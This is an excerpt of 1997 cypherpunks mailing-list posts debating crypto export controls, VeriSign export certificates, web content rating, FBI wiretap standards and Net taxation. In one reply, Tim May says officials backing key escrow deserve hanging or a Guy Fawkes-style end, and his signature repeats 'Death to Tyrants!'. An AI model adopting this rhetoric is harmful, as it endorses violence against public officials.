> >$100,000 grant to RSACi, a PICS-based rating standard
> >originally designed for video games but adapted for
> >the Web. The industry giant also pledges to
> >incorporate RSACi into future products.
> >
> >[...]
> >
> >
> >
> >
> >
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 09:45:13 +0800
To: cypherpunks@toad.com
Subject: ESPN hacked -- got info? (fwd)
Message-ID: <Pine.GSO.3.95.970717183258.19394c-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 17:56:29 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: ESPN hacked -- got info?

[From a friend. Any responses? --Declan]


---------- Forwarded message ----------

Declan --

Do you have any information about the ESPN/SportZone web site store being 
hacked?  Or a contact?  The pro-crypto folks on the Hill are quite 
interested to know if 1) this site was using encryption before being hacked 
and 2) what type of encryption they are using now (one of the press stories 
noted that crypto was one of the security measures implemented after the 
hacking).

I realize this was probably an inside job, but it's good fodder for the 
Hill.  Any insight you might have -- or other examples -- would be great.

Thanks in advance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Fri, 18 Jul 1997 01:09:51 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707171645.SAA09016@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 16 Jul 1997 frissell@panix.com wrote:

> What ever happened to "de minimus non curat lex."  The social damage from a 
> misrated website is too trivial to be believed.  Punishing it is like 
> executing you for farting.

  In some cases that may not be a bad idea :). But getting back to the
original point, if I'm going to be subject to jail for mislabeling my
pages (and how do you tell, given that some systems use a numeric rating? 
count the nipples and add the size of any erections?) then that would 
seem to be a good reason to move my Web site out of America. 
  Idependent rating systems are a good thing, and we've talked about them
here many times in the past (e.g. 'repuation markets'). A mandatory
requirement for web authors to rate their own pages is a hideous idea
which will simply move more of the Web overseas, helping to destroy the US
economy. 

WebMonger 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 10:49:31 +0800
To: cypherpunks@Algebra.COM
Subject: Our basic rights are not to be traded away for exports
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <v03102800aff485c28d86@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:43 PM -0700 7/17/97, Declan McCullagh wrote:
>We need the administration to do one thing: lift export controls.
>
>Then it and Congress should forget all about the Net.
>
>-Declan

I don't think it is going to do that. Unless it gets something _major_ in
return, as part of a deal.

And given the choice between liberty and a lifting of export restrictions,
I know which side I support. No doubt about it.

If export restrictions remain in place, the world will still have
arbitrarily strong crypto. After all, implementations of RSA and other
public key systems are widely available in Europe and Asia. Stronghold
comes from overseas, Israel is a major center, Switzerland has long been a
point of development (though perhaps with NSA involvement, it is rumored),
and so on.

And an export ban might actually _help_ us all, by incentivizing world-wide
development, by "breaking the monopoly" the U.S. has held. (I'd rather that
Big Brother stay the hell out of the whole issue, especially as export
controls are worthless anyway.)

In any case, we as American citizens (and others) cannot accept limitations
on our basic freedoms to hold our own keys, to speak in whatever languages
we wish, to whisper and write in private languages, to sign whichever keys
we wish (in whichever ways we wish), and to write and speak without
"labeling" requirements...we cannot accept limits on these basic rights
just so that Netscape and Microsoft can export their patent-entangled
products!

I wish Netscape, Microsoft, and others well, but not if it means Big
Brother gains new powers. I'd rather see them lose billions to the foreign
equivalents, even face eventual loss of all of their markets, than see my
freedoms compromised.

And it's reprehensible that civil liberties groups are even _talking_ to
these statist creeps. What part of "Congress shall make no law" is unclear
to them?

Has it ever been the case that one basic right is compromised so that some
company can get an export license? That the right to keep and bear arms is
restricted so that Colt can export M-16s to Iraq? That the right to publish
is limited so that the New York Times can get the lucrative overseas
publishing franchise for Americans stationed in Europe? And so on.

Our basic rights are not to be traded away for export licenses.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 10:56:40 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <v03102801aff48a1390fc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:36 PM -0700 7/17/97, Mac Norton wrote:
>On Thu, 17 Jul 1997, Tim May wrote:
>>
>> Taxes are already essentially uncollectable, even in interstate
>> transactions, so the moves by Summers and Magaziner are truly token
>> gestures.
>
>
>Uh, Tim, corporate and personal income taxes are still rather
>well collectible, and that my be the reason the federal gov't
>doesn't worry too much about taxing the Net. State, and even
>more so local, gov'ts do not have the same collectibility
>advantage.  And the locals are often revenue-starved and

I meant that taxes are essentially uncollectable for interstate
transactions like mail order purchases.

I buy several thousand dollars worth of stuff each year by mail order, and
only a few hundred bucks worth of it has been taxable.

My state, California thinks I should either send them a check for 8.25% of
all that I have purchased, or that the vendors in New Hampshire, Ohio, etc.
should send them such a check....we all ignore this notion, and there is
little to be done. It is this sort of "tax arbitrage" I was drawing a very
real parallel to.

Most "tax the Net" talk I hear about is about taxing Net commerce (as
opposed to, say, placing a per minute tariff on Net connections). Hence, my
point.

I wasn't referring to either corporate or personal income taxes, which have
little or nothing to do with the Net.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 11:11:20 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970717182623.19394a-100000@well.com>
Message-ID: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:40 PM 7/17/97 -0400, William H. Geiger III wrote:
>I think that several of us need to get together with the authors of Lynx
>and produce a GNU secure webbrowser and take on these SOB's.

Nothing wrong with releasing a GNU browser, but you will find it difficult
to impossible to match the features of a modern browser such as
Communicator and MSIE. Some may be happy with Lynx. Myself and most
consumers will stick with Communicator and MSIE.

[...]
>The "Net" will not be safe as long as N$ is allowed to do whatever they
>please.

The Net would be considerably safer if Netscape and others would be allowed
to do as they please. Unfortunately, export laws are a reality and Netscape
and Microsoft do what they can to bring strong crypto to as many people as
possible without ending up in jail. My posts on this topic should not be
taken as bashing these software vendors for attempting to make their
products available to a larger number of customers. I certainly do not
question the integrity of people such as Tom Weinstein who have worked hard
to make the best of a shitty situation. A situation they did not create.
[That questionable honor goes to the USG].

I merely question the wisdom to rely on a solution that can be disabled at
any time, for any reason, or no reason at all, by a party outside your
company simply by revoking a single cert. One should not make one's fate
subject to the future whim of a third party.

Thanks,



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 11:21:38 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <33CEDD64.292388D@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> On Thu, 17 Jul 1997, Tom Weinstein wrote:
> 
>> I don't know the details of the agreement between VeriSign and the
>> USG.  I'm curious: how will the CRL for this revocation get
>> distributed?  Since Communicator doesn't automatically pull CRLs, how
>> can any action on VeriSign's part disable crypto for that server?  Or
>> are you suggesting that as part of the revocation process, the USG
>> will bust down their doors and grab all copies of their private keys?
> 
> [Tom, I am glad that your are adding your voice to this tread].
> 
> It is true that Communicator does not presently pull CRL's. However,
> an X.509 based application probably should pull the CRL, or at least
> verify that a cert about to be relied upon has not in fact been
> revoked by looking for a match in the CRL. It stands to reason that
> Communicator will at one point add this, IMHO proper, feature.
> 
> I also would like to mention the reader that yesterday's release of
> MSIE 4.0b2 *does* have the ability to check CRL's.

Yes, we will add this feature in some future release.  It will be
configurable, so if the user doesn't want to check CRLs he doesn't
have to.

> Even if Communicator would never check CRL's, not even in the future,
> the mere fact that the Global ID cert have only a one year lifetime
> means anyone relying on Global ID can be held hostage by threatening
> to refuse to renew their cert. The reader may not be aware that unlike
> other certs, the Global ID certs are *only* issued by VeriSign. You
> can not go to a non-US CA and obtain such a cert. [Which of course
> would defy the whole purpose of this rather slick deal :-]

Aren't all certs VeriSign issues only valid for one year?  This isn't
any different.

There's nothing preventing another CA from getting permission from the
USG to issue these magic certs.  We would have to distribute a patch,
but I don't see any problem with that.

> Unless VeriSign includes in the price of the Global ID cert a bond
> that will compensate the buyer of a Global ID based commerce system
> for any and all future losses caused by VeriSign either revoking or
> refusing to renew a cert (fat chance), anyone basing their strategy on
> having such a cert is at risk of losing their business.

I fail to see the problem.  Right now, if you want to communicate
securely with exportable web browsers, this is the only way to do it. 
Either you do it, or you don't.  If VeriSign doesn't renew your cert,
then you're right back where you were the previous year.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 09:32:14 +0800
To: cypherpunks@toad.com
Subject: Re: <sigh>
In-Reply-To: <199707180051.CAA13954@basement.replay.com>
Message-ID: <199707180115.UAA07194@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707180051.CAA13954@basement.replay.com>, on 07/18/97 
   at 02:51 AM, nobody@REPLAY.COM (Anonymous) said:

>  Happy to oblige.
>------------------

Glad to see that someone on the list still has their sense of humor. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 11:52:59 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Verisign gets export approval
In-Reply-To: <199707180321.XAA23958@homeport.org>
Message-ID: <33CEE568.F2C2D5CC@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Shostack wrote:
> 
>         Nope, you've now got thousands of upset customers who were
> using secure communications, and are now using cheesy exportable
> ciphers.  (Hopefully, you wrote CGI so you can quickly switch to using
> Stronghold. :)

It wouldn't help.  The problem is that your customers (using the export
client) who used to be able to connect using strong crypto now have to
use weak crypto.  It doesn't affect people using non-exportable clients.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 10:00:23 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970717182623.19394a-100000@well.com>
Message-ID: <199707180148.UAA07682@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970717182623.19394a-100000@well.com>, on 07/17/97 
   at 06:27 PM, Declan McCullagh <declan@well.com> said:

>Read the complete text of my article. The RSACnews system would include
>just that: a system that allows a board of media conglomerates to decide
>what's a "news site" or not. 

>In other words, what's "credible."

Well I don't know about anyone else but the more information that comes
out on this the worse & worse it looks.

Between this & the Netscape/Microsoft/Verisign Sellout I would say that
things are looking much worse that if the CDA had been left intact.

I think that several of us need to get together with the authors of Lynx
and produce a GNU secure webbrowser and take on these SOB's.

I don't think that it would be all that much work to mimick NetScapes
plugin interface so the same plugins will work with the GNU browser.

The "Net" will not be safe as long as N$ is allowed to do whatever they
please.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Hacking In Progress" <info@hip97.nl>
Date: Fri, 18 Jul 1997 03:20:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: payment & tents
In-Reply-To: <19970708232101.17152.qmail@squirrel.owl.de>
Message-ID: <199707171908.VAA27907@smtp2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



On  8 Jul 97 at 23:21, Secret Squirrel wrote:

> Can you please tell me where tents (for 10+ people)
> can be bought/hired in the region of Amsterdam ?
> Some of us are eagerly trying to organise this aspect
> of the trip, and would welcome pointers.

Try for rent:

In Purmerend, Netherlands call 02994-20999

They rent army tents. But you'll have to arrange everything with 
them we can't do that. Expect around 350 guilders rent and about 1000 
for deposit.

Maurice


> Also, I cannot read the [INLINE] phone numbers to call
> with my credit card number - can you please publish
> both answers on your mailing list ?

Call in the Netherlands to 31 20 6263438

cu,

Maurice Wessling

--
Hacking in Progress
8-9-10 August
Tents, TCP/IP, Jolt and politics
http://www.hip97.nl/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 18 Jul 1997 12:21:52 +0800
To: cypherpunks@Algebra.COM
Subject: fbi wiretapping law runs into friction
Message-ID: <199707180416.VAA13557@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: jackdoolin@earthlink.net
Date: Thu, 17 Jul 1997 14:56:59 -0400
Subject: SNET: Phone firms resist FBI wiretap gear


- ->  SearchNet's   SNETNEWS   Mailing List

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

              Published Wednesday, July 16, 1997, in the San Jose Mercury 
News  

  Phone firms resist FBI wiretap gear    New York Times  

  Asserting that the FBI is trying to force the development of wiretapping 
equipment that goes beyond the law, telephone industry executives said 
Tuesday they would petition the Federal Communications Commission to resolve 
a dispute over the limits of digital surveillance in the information age.

 Industry executives are expected to ask the commission to step in today 
after more than two years of negotiations with law enforcement authorities 
over standards for advanced digital telephone switching gear intended to 
permit the police and FBI agents to listen to suspected criminals.

 The two sides failed to reach an agreement at a meeting last week in Boston.

 ``We've come to an impasse and only the FCC can resolve it,'' said Stewart 
Baker, a Washington lawyer representing the industry.

 FBI officials said Tuesday they were still confident that disagreements with 
the industry could be worked out. Another negotiating session is scheduled 
for next week.

 ``We're still committed to the negotiating process,'' said Edward Allen, 
section chief in the Information Division at the FBI. The Communications for 
Law Enforcement Act, which was signed into law by President Clinton in 1994, 
calls for spending $500 million to modify the nation's telephone network for 
wiretapping and specifies a standard-setting process to redesign the 
equipment.

 Telephone industry officials have warned that the cost of making the 
modifications requested by law enforcement might run into the billions of 
dollars. They also contend that the FBI has overstepped its mandate and is 
trying to control the process of setting standards. The law, they say, 
specifies only that the agency will be consulted in setting the standard.

 Industry executives say their companies will be at risk of being sued by 
civil liberties groups over privacy invasions.

 Law enforcement is asking for the ability to maintain a wiretap in a 
conference call even after the individual who is the object of the court-
authorized wiretap drops out of the phone call. Such a capability would 
require costly modifications to the telephone network, industry officials 
said.

 ``We're taking this action out of monumental frustration,'' said Thomas 
Wheeler, president of the Cellular Telecommunications Industry Association, a 
trade group in Washington.

 The telephone industry is facing an October 1998 deadline to comply with the 
law. Wheeler said the members of his association were growing increasingly 
concerned that in the absence of a standard they would have insufficient time 
to develop new products that comply with the law. The legislation provides 
for $10,000 a day in penalties for companies that fail to meet the 
requirements. 

        
- -----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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=25h5
- -----END PGP SIGNATURE-----


- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: jackdoolin@earthlink.net


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 18 Jul 1997 10:57:09 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970717212956.24107G-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tim May wrote:
> 
> Taxes are already essentially uncollectable, even in interstate
> transactions, so the moves by Summers and Magaziner are truly token
> gestures.


Uh, Tim, corporate and personal income taxes are still rather 
well collectible, and that my be the reason the federal gov't
doesn't worry too much about taxing the Net. State, and even
more so local, gov'ts do not have the same collectibility
advantage.  And the locals are often revenue-starved and 
constantly in search of new tax base, constantly.  Thus,
what's easy for the feds to say ("no new taxes" read my
lips?:)) is just a costless slam at the locals.  No real
impact on federal revenue, no sacrifice, no altruism, 
except at the expense of other potential, and hungry 
taxing authorities.  Magaziner didn't earn any points with
me by proclaiming a policy that doesn't cost his end of
the gov't much of anything.  

It's as if George III told the colonies not to tax tea.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 18 Jul 1997 09:49:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970717214252.17702B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



We need the administration to do one thing: lift export controls.

Then it and Congress should forget all about the Net.

-Declan


On Thu, 17 Jul 1997, Tim May wrote:

> At 4:25 PM -0700 7/17/97, Declan McCullagh wrote:
> >---------
> >
> >July 2,1997
> >
> >Time to Walk the Walk on Telecom Policy
> >
> >by Jeffrey A. Eisenach
> >The Progress & Freedom Foundation
> >
> >Thanks to Ira Magaziner -- of all people -- the
> >Clinton Administration has finally learned to talk the
> >free market talk that brings joy to denizens of the
> >Internet. Now, as always with this Administration, the
> >question is whether it will also walk the walk.
> 
> To use their own Yuppie expression, "will it 'walk the walk' down the gang
> plank"?
> 
> The only thing the Administration can do is to do _nothing_. Gibberish
> about the freedom of the Net while other departments speak of key escrow
> and content control is a meaningless gesture.
> 
> 
> >easy-to-use technical solutions." And last month,
> >Treasury Undersecretary Larry Summers, reportedly at
> >Magaziner's urging, had very positive things to say
> >about the "no new taxes on the Internet" legislation
> >sponsored by Congressman Chris Cox and Senator Ron
> >Wyden.
> 
> Taxes are already essentially uncollectable, even in interstate
> transactions, so the moves by Summers and Magaziner are truly token
> gestures.
> 
> Their continuing support for GAK and content control are what has earned
> them only our vicious enmity.
> 
> 
> >Telecommunications is not the only problem area with
> >respect to policy. Most notable among the others:
> >Encryption, where the Administration stubbornly
> >adheres to its unworkable, privacy-invading notion of
> >"key escrow" for encryption software -- i.e., giving
> >the police the key to your house in advance in case
> >they decide later they want to conduct a search.
> 
> Oh, yeah, this minor issue of their demanding access to diaries, phone
> calls, e-mail, and other computer-mediated communications without so much
> as a search warrant.
> 
> They all deserve to be hung for treason, or dispatched the old-fashoned way
> (a la Guy Fawkes).
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 12:54:53 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff48a1390fc@[207.167.93.63]>
Message-ID: <v03102802aff4a4a9d00a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:19 PM -0700 7/17/97, William H. Geiger III wrote:

>Actually with some "creative" accounting one can make use of the net to
>cirumvent large amount of corporate & personal income tax. :)
>
>It is quite possible to set up virtual corporations who's complete
>bussines is done over the wire. While some setions of industry can benifit
>from this more than others I see in the future a large section of the
>revenue stream migrating offshore to various taxhavens beyoned the reach
>of the little piggies in DC. :)

Well, obviously I'm well acquainted with this particular theory....

However, pulling it off is the hard part. A few data points:

- my income derives solely at this point from investments. No better
example of a "geodesic economy" exists...my assets and sources of income
can be located anywhere on Earth, and can be sent there with a few phone
calls. And, yet, I continue to pay the IRS, the Franchise Tax Board, and
various regional satrapies truly obscene amounts of taxes.

(Why? Because sending my assets to Foobaria and then attempting to live
tax-free off the income/dividends/sales is not currently feasible. Note to
the advocates of this strategy: not even the advocates of using offshore
banks think this is workable as a tax avoidance scheme.)

- I rather suspect that all of the employees of C2Net, surely a
"Cypherpunks company" if ever there were one, mundanely receive their W-2s
and file diligently. (Actually, the odds are that some of them are already
delinquent on filing, but the point remains valid.)

- John Walker, the founder of Autodesk (Autocad), became a citizen of
Belize and now lives in Switzerland. As above, a "virtual entity." And yet
he tells me his taxes are higher than if he'd remained in the U.S. (he left
for complicated reasons, involving taxes, but not necessarily to reduce his
personal taxes).

So, I admire the theory. In fact, I wrote many essays on related points.
(Cf. "crypto anarchy") But it's not at all easy to pull it off.

Maybe in 10 years.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Fri, 18 Jul 1997 04:14:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: EuroEnglish
Message-ID: <199707172005.WAA14170@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Viz speling lik zis, ho neds kriptografy?

> --------------------------------------------------------------------
> ANNOUNCEMENT FROM THE EUROPEAN UNION COMMISSIONERS
> 
> An agreement has been reached to adopt English as the preferred
> language for European communications, rather than German, which was the
> other possibility.  As part of the negotiations, Her Majesty's Government
> conceded that English spelling has some room for improvement and has 
> accepted a five-year phased plan for what will be known as EuroEnglish
> (Euro for short).
> 
> In the first year, "s" will be used instead of "c".  Sertainly sivil
> servants will resieve this news with joy.  Also, the hard "c" will be
> replaced with "k".  Not only will this klear up konfusion, but komputers 
> and typewriters kan have one less letter.
> 
> There will be growing publik enthusiasm in the sekond year, when the
> troublesome "ph" will be replaced by "f".  This will make words like
> "fotograf" 20 per sent shorter.
> 
> In the third year, publik akseptanse of the new spelling kan be 
> expekted to reach the stage where more komplikated changes are
> possible.  Governments will enkorage the removal of double letters, 
> which have always ben a deterent to akurate speling.  Also, al wil agre 
> that the horible mes of silent "e"s in the languag is disgracful, and 
> they would go.
> 
> By the fourth year, peopl wil be reseptiv to steps such as replasing 
> "th" with "z" and "w" with "v".
> 
> During ze fifz year, ze unesesary "o" kan be dropd from vords kontaining 
> "ou", and similar changes vud of kors be aplid to ozer kombinations of 
> leters.  After zis fifz yer, ve vil hav a reli sensibl riten styl.  Zer 
> vil be no mor trubls or difikultis and evrivun vil find it ezi to 
> understand ech ozer.
> 
> ZE DREM VIL FINALI KUM TRU.
> 
> ---------------------------------------------------------------------
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 11:09:09 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Center for Security Policy calls for domestic key escrow (fwd)
In-Reply-To: <Pine.GSO.3.95.970717160055.19394C-100000@well.com>
Message-ID: <v0311078baff4847d327f@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



Any organization with the word "center" in it's name gives me the creeps
lately.

There is no "center" in an information society.

Furthermore, "center" reminds me more and more of "Moscow Center", in
Djerzhinsky Square...

Wishing for better weather. I've had enough 'cold' climate to last lifetime.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 12:25:46 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
Message-ID: <199707180412.XAA09723@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>, on 07/17/97 
   at 08:00 PM, Lucky Green <shamrock@netcom.com> said:

>At 08:40 PM 7/17/97 -0400, William H. Geiger III wrote:
>>I think that several of us need to get together with the authors of Lynx
>>and produce a GNU secure webbrowser and take on these SOB's.

>Nothing wrong with releasing a GNU browser, but you will find it
>difficult to impossible to match the features of a modern browser such as
>Communicator and MSIE. Some may be happy with Lynx. Myself and most
>consumers will stick with Communicator and MSIE.


Well 90% of the "features" of these browsers are complete crap. I have yet
to see a web site that did anything constructive with frames and animated
gifs are compleetly worthless. There are some intresting plug-ins for
Netscape but as I said in my previous post I don't think mimicking the
interface should be that hard.

As far as the e-mail & news clients they are still far behind where the
industry is in these areas.

I was thinking more allong the lines of providing a strong, secure GNU
browser for doing transactions over the net and save the game playing for
NS & MS.


>[...]
>>The "Net" will not be safe as long as N$ is allowed to do whatever they
>>please.

>The Net would be considerably safer if Netscape and others would be
>allowed to do as they please. Unfortunately, export laws are a reality
>and Netscape and Microsoft do what they can to bring strong crypto to as
>many people as possible without ending up in jail. My posts on this topic
>should not be taken as bashing these software vendors for attempting to
>make their products available to a larger number of customers. I
>certainly do not question the integrity of people such as Tom Weinstein
>who have worked hard to make the best of a shitty situation. A situation
>they did not create. [That questionable honor goes to the USG].

No not really. All one has to do is look at Netscapes & Microsofts track
record. Security has never been a primary concern of theirs. While this is
expected from Microsoft (I don't think they could find a security protocol
if it bit them on the ass) one would hope the Netscape would be a little
better at it. 

As far as making their product to a large number of customers one has to
question what type of product they are getting. It seem obvious the both
Netscape & Microsoft have chosen to go down the "GAK/Policy
Token/Manditory Rating" path and have done so long before the WhiteHouse
meeting this week.

>I merely question the wisdom to rely on a solution that can be disabled
>at any time, for any reason, or no reason at all, by a party outside your
>company simply by revoking a single cert. One should not make one's fate
>subject to the future whim of a third party.

While I do not question the integrety of Tom as I don't know him that well
to form a judgment I do question the integrety of the owners & management
of the company he works for.

As their products stand right now I would not trust the "domestic"
versions for anything more than insignificant purchases of beads and
trinkets over the net let alone the hacked "export" versions. As far as
using their product for finacial transactions well you know the old saying
... "A fool and his money were lucky to have ever met in the first place".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 14:02:42 +0800
To: cypherpunks@Algebra.COM
Subject: Government and Whom we Trust
Message-ID: <v03102804aff4b2ce22be@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




There are some striking similarities between the "certificate authority"
(CA) and PICS/RSACi/rating issues. Not really surprising, as they both
involve "certificates" of slightly different types.

